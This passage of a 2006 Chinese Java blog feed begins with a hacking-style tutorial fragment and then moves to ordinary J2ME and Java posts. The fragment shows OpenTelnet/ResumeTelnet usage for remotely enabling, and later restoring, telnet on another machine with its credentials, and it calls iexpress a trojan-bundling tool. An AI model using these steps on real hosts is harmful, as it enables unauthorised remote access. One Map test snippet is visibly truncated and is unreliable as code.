<br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。
<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。</p>

<p>ResumeTelnet.exe (OpenTelnet附带的另一个工具) 
<br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。</p>

<p>#10 十：</p>

<p>6、FTP命令详解：</p>

<p>FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。</p>

<p>FTP的命令行格式为： 
<br />ftp -v -d -i -n -g [主机名] ，其中</p>

<p>-v 显示远程服务器的所有响应信息；</p>

<p>-n 限制ftp的自动登录，即不使用；.n etrc文件；</p>

<p>-d 使用调试方式；</p>

<p>-g 取消全局文件名。</p>

<p>FTP使用的内部命令如下(中括号表示可选项):</p>

<p>1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip 
<br />2.$ macro-ame[args]： 执行宏定义macro-name。</p>

<p>3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 
<br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。</p>

<p>5.ascii：使用ascii类型传输方式。
<br />6.bell：每个命令执行完毕后计算机响铃一次。</p>

<p>7.bin：使用二进制文件传输方式。
<br />8.bye：退出ftp会话过程。</p>

<p>9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 
<br />10.cd remote-dir：进入远程主机目录。</p>

<p>11.cdup：进入远程主机目录的父目录。 
<br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。</p>

<p>13.close：中断与远程服务器的ftp会话(与open对应)。 
<br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。</p>

<p>15.delete remote-file：删除远程主机文件。 
<br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。</p>

<p>17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 
<br />18.disconnection：同close。</p>

<p>19.form format：将文件传输方式设置为format，缺省为file方式。 
<br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。</p>

<p>21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 
<br />22.hash：每传输1024字节，显示一个hash符号(#)。</p>

<p>23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 
<br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。</p>

<p>25.image：设置二进制传输方式(同binary)。 
<br />26.lcd[dir]：将本地工作目录切换至dir。</p>

<p>27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 
<br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。</p>

<p>29.mdelete[remote-file]：删除远程主机文件。 
<br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。</p>

<p>31.mget remote-files：传输多个远程文件。 
<br />32.mkdir dir-name：在远程主机中建一目录。</p>

<p>33.mls remote-file local-file：同nlist，但可指定多个文件名。 
<br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。</p>

<p>35.modtime file-name：显示远程主机文件的最后修改时间。 
<br />36.mput local-file：将多个文件传输至远程主机。</p>

<p>37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。
<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。</p>

<p>39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。
<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。</p>

<p>41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 
<br />42.passive：进入被动传输方式。</p>

<p>43.prompt：设置多个文件传输时的交互提示。 
<br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。
<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 
<br />46.pwd：显示远程主机的当前工作目录。</p>

<p>47.quit：同bye，退出ftp会话。 
<br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.</p>

<p>49.recv remote-file[local-file]：同get。 
<br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。</p>

<p>51.rhelp[cmd-name]：请求获得远程主机的帮助。 
<br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。</p>

<p>53.rename[from][to]：更改远程主机文件名。 
<br />54.reset：清除回答队列。</p>

<p>55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 
<br />56.rmdir dir-name：删除远程主机目录。</p>

<p>57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 
<br />58.send local-file[remote-file]：同put。</p>

<p>59.sendport：设置PORT命令的使用。 
<br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。</p>

<p>61.size file-name：显示远程主机文件大小，如：site idle 7200。 
<br />62.status：显示当前ftp状态。</p>

<p>63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 
<br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。</p>

<p>65.system：显示远程主机的操作系统类型。 
<br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。</p>

<p>67.tick：设置传输时的字节计数器。 
<br />68.trace：设置包跟踪。</p>

<p>69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 
<br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3</p>

<p>71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 
<br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.</p>

<p>73.?[cmd]：同help.</p>

<p>#11 十一：</p>

<p>7：计算机运行命令全集 winver---------检查Windows版本
<br />wmimgmt.msc----打开windows管理体系结构
<br />wupdmgr--------windows更新程序
<br />winver---------检查Windows版本
<br />wmimgmt.msc----打开windows管理体系结构
<br />wupdmgr--------windows更新程序
<br />wscript--------windows脚本宿主设置
<br />write----------写字板winmsd-----系统信息
<br />wiaacmgr-------扫描仪和照相机向导
<br />winchat--------XP自带局域网聊天
<br />mem.exe--------显示内存使用情况
<br />Msconfig.exe---系统配置实用程序 
<br />mplayer2-------简易widnows media player
<br />mspaint--------画图板
<br />mstsc----------远程桌面连接
<br />mplayer2-------媒体播放机
<br />magnify--------放大镜实用程序
<br />mmc------------打开控制台
<br />mobsync--------同步命令
<br />dxdiag---------检查DirectX信息
<br />drwtsn32------ 系统医生
<br />devmgmt.msc--- 设备管理器
<br />dfrg.msc-------磁盘碎片整理程序
<br />diskmgmt.msc---磁盘管理实用程序
<br />dcomcnfg-------打开系统组件服务
<br />ddeshare-------打开DDE共享设置
<br />dvdplay--------DVD播放器
<br />net stop messenger-----停止信使服务
<br />net start messenger----开始信使服务 
<br />notepad--------打开记事本
<br />nslookup-------网络管理的工具向导
<br />ntbackup-------系统备份和还原
<br />narrator-------屏幕"讲述人"
<br />ntmsmgr.msc----移动存储管理器
<br />ntmsoprq.msc---移动存储管理员操作请求
<br />netstat -an----(TC)命令检查接口
<br />syncapp--------创建一个公文包
<br />sysedit--------系统配置编辑器
<br />sigverif-------文件签名验证程序
<br />sndrec32-------录音机
<br />shrpubw--------创建共享文件夹
<br />secpol.msc-----本地安全策略
<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
<br />services.msc---本地服务设置
<br />Sndvol32-------音量控制程序
<br />sfc.exe--------系统文件检查器
<br />sfc /scannow---windows文件保护
<br />tsshutdn-------60秒倒计时关机命令
<br />tourstart------xp简介（安装完成后出现的漫游xp程序）
<br />taskmgr--------任务管理器
<br />eventvwr-------事件查看器
<br />eudcedit-------造字程序 
<br />explorer-------打开资源管理器
<br />packager-------对象包装程序
<br />perfmon.msc----计算机性能监测程序
<br />progman--------程序管理器
<br />regedit.exe----注册表 
<br />rsop.msc-------组策略结果集
<br />regedt32-------注册表编辑器
<br />rononce -p ----15秒关机
<br />regsvr32 /u *.dll----停止dll文件运行
<br />regsvr32 /u zipfldr.dll------取消ZIP支持
<br />cmd.exe--------CMD命令提示符
<br />chkdsk.exe-----Chkdsk磁盘检查
<br />certmgr.msc----证书管理实用程序
<br />calc-----------启动计算器
<br />charmap--------启动字符映射表
<br />cliconfg-------SQL SERVER 客户端网络实用程序
<br />Clipbrd--------剪贴板查看器
<br />conf-----------启动netmeeting
<br />compmgmt.msc---计算机管理
<br />cleanmgr-------**整理
<br />ciadv.msc------索引服务程序
<br />osk------------打开屏幕键盘
<br />odbcad32-------ODBC数据源管理器
<br />oobe/msoobe /a----检查XP是否激活
<br />lusrmgr.msc----本机用户和组
<br />logoff---------注销命令
<br />iexpress-------木马捆绑工具，系统自带
<br />Nslookup-------IP地址侦测器
<br />fsmgmt.msc-----共享文件夹管理器
<br />utilman--------辅助工具管理器
<br />gpedit.msc-----组策略</p>

<p> 
</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90938.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90938.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>觉的有些论坛不爽</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90937.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90937.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90937.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90937.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90937.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90937.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>今天浏览此网站.发现有新的东西见到一个论坛http://gocom.primeton.com/modules/newbb/titleflat_4824_30.htm
<br />稍微看了下,觉得里面的标题还不错.进去看了下,觉得好郁闷好多论坛帖子要求回复才可以浏览。这不是明摆者要我注册码？
<br />说句心里话，我很讨厌这种做法。不过你的写多么棒，如果要拿除来分享，我觉得完全是没必要强制读者做出一些没必要的动作。如果不想分享，写在本子上别发表出来。觉得这样做只会让我感到厌恶。打击我对此的形象。
<br />这样的感觉不爽。</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90937.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90937.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于Map.entrySet()的疑惑</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90936.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90936.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90936.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90936.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90936.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90936.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>前几天项目用到Map,接着调用Map.entrySet(),结果产生了一些意外的后果.
<br />就是,持久化数据数据的时候出现setter of com.hiber.Hibernate.Test.id 异常.
<br />此异常是提醒,pojo里面未有属性的getter.
<br />因为我在其他方法里面保存过,未曾出现异常,觉得甚是奇怪.后来发现,原来是Map.entrySet()搞的鬼,根据java api.
<br />    返回此映射中包含的映射关系的 set 视图。返回的 set 中的每个元素都是一个 Map.Entry。该 set 受映射支持，所以对映射的改变可在此 set 中反映出来，反之亦然。如果修改映射的同时正在对该 set 进行迭代（除了通过迭代器自己的 remove 操作，或者通过在迭代器返回的映射项上执行 setValue 操作外），则迭代结果是不明确的。set 支持通过 Iterator.remove、Set.remove、removeAll、retainAll 和 clear 操作实现元素移除，即从映射中移除相应的映射关系。它不支持 add 或 addAll 操作。 
<br />    为此,我写了一个测试代码.
<br /><div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >
public class TestMap {

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		Map test = new HashMap();
		
		//测试,put进TestObject
		for(int i=0; i<5>);
		return null;
	}
}

</textarea></div><script>render_code();</script></p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90936.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90936.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>以前设计的一款小游戏共享出来</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90935.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90935.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90935.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90935.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90935.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90935.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>具体看源代码.里面可能存在一些bug</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90935.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90935.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>j2me常用的字符,日期,以及转换编码实现</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90934.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90934.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90934.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90934.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90934.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90934.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p><div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >

import java.io.UnsupportedEncodingException;
import java.util.Vector;

import javax.wireless.messaging.Message;

/**
 * 转换网络传过来的数据
 * 
 * @auth colonel
 * @dateOrLeague 2006-7-11
 * 
 */

public class StringUtil {
	 

	/**
	 * 切割str字符串
	 * 例如("wuhua,中国,好,",",");分割成String[] s = {"wuhua","中国","好");
	 * @param str 源字符串
	 * @param regex,分割标致,
	 * @return
	 */
	public static String[] split(String bufferstr, String regex) {

		if(bufferstr == null)
			return null;
		Vector split = new Vector();

		while (true) // 处理从网络上获得的数据并对其进行处理
		{
			int index = bufferstr.indexOf(regex);

			if (index == -1) {
				if (bufferstr != null && !bufferstr.equals(""))
					split.addElement(bufferstr);
				// log.debug("bufferstr=" +bufferstr);s
				break;
			}
			split.addElement(bufferstr.substring(0, index));
			// log.debug("Str=" + bufferstr.substring(0, index));
			bufferstr = bufferstr.substring(index + 1, bufferstr.length());
			// log.debug("bufferstr=" +bufferstr);
		}
		String[] s = new String[split.size()];

		split.copyInto(s);

		return s;

	}

	
	/**
	 * 转换网络上的字节为中文
	 * @param bytes
	 * @param start
	 * @return
	 */
	public static String getStringToGBK(byte[] bytes, int start) {
		byte[] rt = new byte[bytes.length - start];
		for (int i = 0; i &lt; rt.length; i++)
			rt[i] = bytes[i + start];
		try {
			return new String(rt, "UTF-8");
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
			return new String(rt);
		}
	}

}
</textarea></div><script>render_code();</script></p>

<p><div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >

/**
 * 转换编码
 * @author Administrator
 *
 */
public class FormatTransfer {

	public static int getUINT4(byte ba[], int start) {
		int r = 0;
		r |= 0xff & ba[start];
		r &lt;&lt;= 8;
		r |= 0xff & ba[start + 1];
		r &lt;&lt;= 8;
		r |= 0xff & ba[start + 2];
		r &lt;&lt;= 8;
		r |= 0xff & ba[start + 3];
		return r;
	}

	public static void setUINT4(byte ba[], int start, int value) {
		ba[start] = (byte) (value >> 24 & 0xff);
		ba[start + 1] = (byte) (value >> 16 & 0xff);
		ba[start + 2] = (byte) (value >> 8 & 0xff);
		ba[start + 3] = (byte) (value & 0xff);
	}

	public static void setUSHORT4(byte ba[], int start, short value) {
		ba[start + 0] = (byte) (value >> 8 & 0xff);
		ba[start + 1] = (byte) (value & 0xff);
	}

	public static short getUSHORT4(byte ba[], int start) {
		short r = 0;
		r |= 0xff & ba[start];
		r &lt;&lt;= 8;
		r |= 0xff & ba[start + 1];
		return r;
	}

	public static void appen(byte[] rt, byte[] bodys, int start) {
		for (int i = 0; i &lt; bodys.length; i++) {
			rt[start + i] = bodys[i];
		}
	}

}
</textarea></div><script>render_code();</script></p>

<p><div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >
 

import java.util.Calendar;
import java.util.Date;
import java.util.TimeZone;

/**
 * <b>类名：DateTime.java</b> </br> 编写日期: 2006-6-23  程序功能描述：日期时间的工具类 
 * Demo:  Bug: 
 * 
 * 程序变更日期 ： 变更作者 ： 变更说明 ：
 * 
 * @author wuhua </br> <a href='mailto:rrq12345@163.com'>rrq12345@163.com</a>
 */

public final class DateTime {
	private static String[] WEEKDAYS_EN = { "SUN", "MON", "TUE", "WED", "THU",
			"FRI", "SAT" };

	private static String[] WEEKDAYS_CH = { "周日", "周一", "周二", "周三", "周四", "周五",
			"周六" };

	public final String timeZone;

	public final int year;

	public final int month;

	public int day;

	public int weekday;

	public final int hour;

	public final int minute;

	public final int second;

	public final int millsecond;

	Calendar c;

	public DateTime(Date date, String timeZone) {
		this.timeZone = timeZone;
		c = timeZone == null ? Calendar.getInstance() : Calendar
				.getInstance(TimeZone.getDefault());
		c.setTime(date);
		year = c.get(Calendar.YEAR);
		month = c.get(Calendar.MONTH);
		day = c.get(Calendar.DAY_OF_MONTH);
		weekday = c.get(Calendar.DAY_OF_WEEK);
		hour = c.get(Calendar.HOUR_OF_DAY);
		minute = c.get(Calendar.MINUTE);
		second = c.get(Calendar.SECOND);
		millsecond = c.get(Calendar.MILLISECOND);
	}

	public DateTime(long time, String timeZone) {
		this(new Date(time), timeZone);
	}

	public DateTime() {
		this(System.currentTimeMillis(), "GMT + 16");
	}

	public static String beforeOneDate() {
		return new DateTime(System.currentTimeMillis() - 24 * 3600 * 1000,
				"GMT+8").toDateString();
	}

	public Date toDate() {
		Calendar c = Calendar.getInstance(TimeZone.getTimeZone(timeZone));
		c.set(Calendar.YEAR, year);
		c.set(Calendar.MONTH, month);
		c.set(Calendar.DAY_OF_MONTH, day);
		c.set(Calendar.HOUR_OF_DAY, hour);
		c.set(Calendar.MINUTE, minute);
		c.set(Calendar.SECOND, second);
		c.set(Calendar.MILLISECOND, millsecond);
		return c.getTime();
	}

	public String toDateString() {
		if (timeZone.equals("GMT-8"))
			return (month + 1) + "月" + day + "日" + " ["
					+ WEEKDAYS_EN[weekday - 1] + "] ";
		else
			return (month + 1) + "月" + day + "日" + " ["
					+ WEEKDAYS_CH[weekday - 1] + "] ";

	}

	public void setDate(int day) {

		this.day = day;
		this.c.set(Calendar.DAY_OF_WEEK, day);
		// day = c.get(Calendar.DAY_OF_WEEK);
		weekday = c.get(Calendar.DAY_OF_WEEK);

	}

	public String toTimeString() {
		return hour + ":" + minute + ":" + second + ":" + millsecond;
	}

	public String toString() {
		return toDateString() + " " + toTimeString();
	}
}

</textarea></div><script>render_code();</script></p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90934.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90934.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RMS详细例子</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90933.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90933.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90933.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90933.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90933.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90933.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>RMS详细解答
<br />RMS(Record Management System)是MIDP中一个非常重要的子系统.
<br />它提供了对数据的持久存储.对于存放程序数据是个唯一的选择(如果不用jsr75规范的话).
<br />对于jsr75,我在以前的文章里已经有了篇详细的例子,大家可以参考下.
<br /> <a href="http://wuhua.javaeye.com/admin/show/28712"  target="blank" >http://wuhua.javaeye.com/admin/show/28712</a>
<br />对于RMS里面的API可以实现对数据的存取跟排序等功能.</p>

<p>实在不知道怎么写文章,只能那例子出来说了.
</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>设计可组装的j2me UI(一) 核心部件</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90932.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90932.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90932.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90932.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90932.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90932.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>   最近发现很多朋友在设计j2me程序的时候，在有些关键的UI设计都放弃j2me提供的高级UI。而自己通过继承Canvas，而实现自己想要的效果。游戏的菜单设计一般都是这样。设计自己的UI是比较困难的，因为自己要控制屏幕的各个元素跟各个元素的低级事件。我想这些不是问题。主要还是很少有教程手把手的教你。小第我经过一个项目，而起这个项目的UI全部是自己实现。所以在这方面算是有点点经验。所以拿出来给大家分享下。
<br />    我的设计思想是这样的。
<br />    1。手机CPU，内存等资源都有限。手机屏幕各个厂商各不相同。
<br />    2。手机基本不用考虑，窗口移动，拖动，缩放，重叠，窗口至顶等问题。
<br />    3。手机窗口事件不用考虑，拖动，移动，缩放，鼠标等时间。因此问题就相对简单了。
<br />    4：我们只需要实现，UI的显示跟文字，图片的排版显示，已经文字的滚动显示等。</p>

<p>    下面将是一些片段代码，希望。
<br />    首先设计两个核心的类。
<br />    1。Part －－ 窗口显示部件。主要是一些可以组装的组件例如（TextField，TextBox）等
<br />      <div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >
public abstract class Part {

	protected final int X = 0;

	protected final int Y = 1;

	protected final int WIDTH = 2;

	protected final int HEIGHT = 3;

	/**
	 * 位置的显示位置（相对手机屏幕的位置）
	 */
	protected int view[] = new int[4];

	/**
	 * 背景色
	 */
	protected int bgColor = 0x000000;

	/**
	 * 字体颜色
	 */
	protected int fontColor = 0xFFFFFF;

	protected int selectIndex;

	protected Canvas container;
	
	protected String label;
	  
	/** 每个Item都有自己的焦点 **/
	protected boolean hasFocus;

	protected PartChangeListener partChangeListener;
	
	public Part(int x, int y, int widht, int height) {
		view[X] = x;
		view[Y] = y;
		view[WIDTH] = widht;
		view[HEIGHT] = height;
	}

	public void setStyle(int bgColor, int fontColor) {
		this.bgColor = bgColor;
		this.fontColor = fontColor;
	}

	/**
	 * 默认字体
	 */
	protected Font font = Font.getDefaultFont();

	/**
	 * 资料实现绘制方法
	 * 
	 * @param g
	 */
	public abstract void paint(Graphics g);

	/**
	 * 事件
	 * 
	 * @param keyCode
	 */
	public abstract void onClick(int keyCode);

	public int getSelectIndex() {
	 
		return selectIndex;
	}

	public void setSelectIndex(int selectIndex) {
		this.selectIndex = selectIndex;
	}

	/**
	 * 改变部件的位置
	 */
	public void changePosition(int x, int y, int width, int height){
		view[X] = x;
		view[Y] = y;
		view[WIDTH] = width;
		view[HEIGHT] = height;	
	}

	public void setContainer(Canvas container) {
		this.container = container;
	}
	
	/**
	 * 聚焦，主要用户当前使用的Part。
	 * @param hasFocus
	 */
	public void setHasFocus(boolean hasFocus){
		this.hasFocus = hasFocus;
		 
	}
	
	public void setPartChangeListener(PartChangeListener partChangeListener) {
		this.partChangeListener = partChangeListener;
	}

	public int[] getView() {
		return view;
	}</textarea></div><script>render_code();</script></p>

<p>    上面的类不足以显示，主要是通过下面的类，通过addPart方法添加进去。</p>

<p><div class="code_title">代码</div><div class="code_div"><textarea name="code" class="java" rows="15" cols="100" >
public abstract class Panel extends Canvas {
	private static Log log = Log.getLog("Panel");

	final int X = 0;

	final int Y = 1;

	final int WIDTH = 2;

	final int HEIGHT = 3;

	/** 显示主要部分.比如菜单的Icon,List的数据的位置 */
	int[] viewContent = new int[4];

	Image icon;
	Part part;
	
	SoftButton softButton;
	
	Part timer;
	
	public Panel(){
		init();
	}
	public Panel(Image icon) {
		init();
		this.icon = icon;
		
		 
		//此方法是让所以的Panel都添加一个TimerPart
		//以后重构的时候应该�?�虑要不要这么做
		//this.setTimer(null);
	}
	private void init() {
		setFullScreenMode(true);
	 
		initViewContent();
		this.softButton = new SoftButton();
	}

	public void addCommand(Command cmd) {
		if (cmd == null)
			return;
		softButton.addCommand(cmd);
	}

	
	public Part getPart() {
		return part;
	}

	public void append(Part part){
		this.part = part;
	}
	public void setPartChangeListener(PartChangeListener partChangeListener) {
		this.part.setPartChangeListener(partChangeListener);
	}

	public void removeCommand(int type) {

		softButton.removeCommand(type);
	}

	public void setSoftButtonListener(CommandListener cmdListener) {
		if (softButton != null)
			softButton.setCommandListener(cmdListener);
	}

	public void setSoftButtonStyle(int bgColor, int fontColor){
		this.softButton.setStyle(bgColor, fontColor);
	}

	public abstract void paint(Graphics g);

	protected abstract void keyPressed(int keyCode);

	/**
	 * 长按事件
	 */
	protected void keyRepeated(int keyCode) {
		keyPressed(keyCode);
	}

 
	 
	private void initViewContent() {
		viewContent[X] = 0;
		viewContent[Y] = 45;
		viewContent[WIDTH] = Platform.WIDTH;
		viewContent[HEIGHT] = Platform.HEIGHT;
	}

	public SoftButton getSoftButton() {
		return softButton;
	}

	public void setSoftButton(SoftButton softButton) {
		this.softButton = softButton;
	}
	
    /**
     * 增加时间显示
     */
	public void setTimer(Part timer){
		this.timer = timer;
	}
	
	void paintTimerImpl(Graphics g){
		if(timer != null)
			timer.paint(g);
	}
	
	public void repaintTimer(){
		if(timer != null){
			int [] view = timer.getView();
			repaint(view[X],view[Y],view[WIDTH], view[HEIGHT] );
		}
			
	}

}
</textarea></div><script>render_code();</script></p>

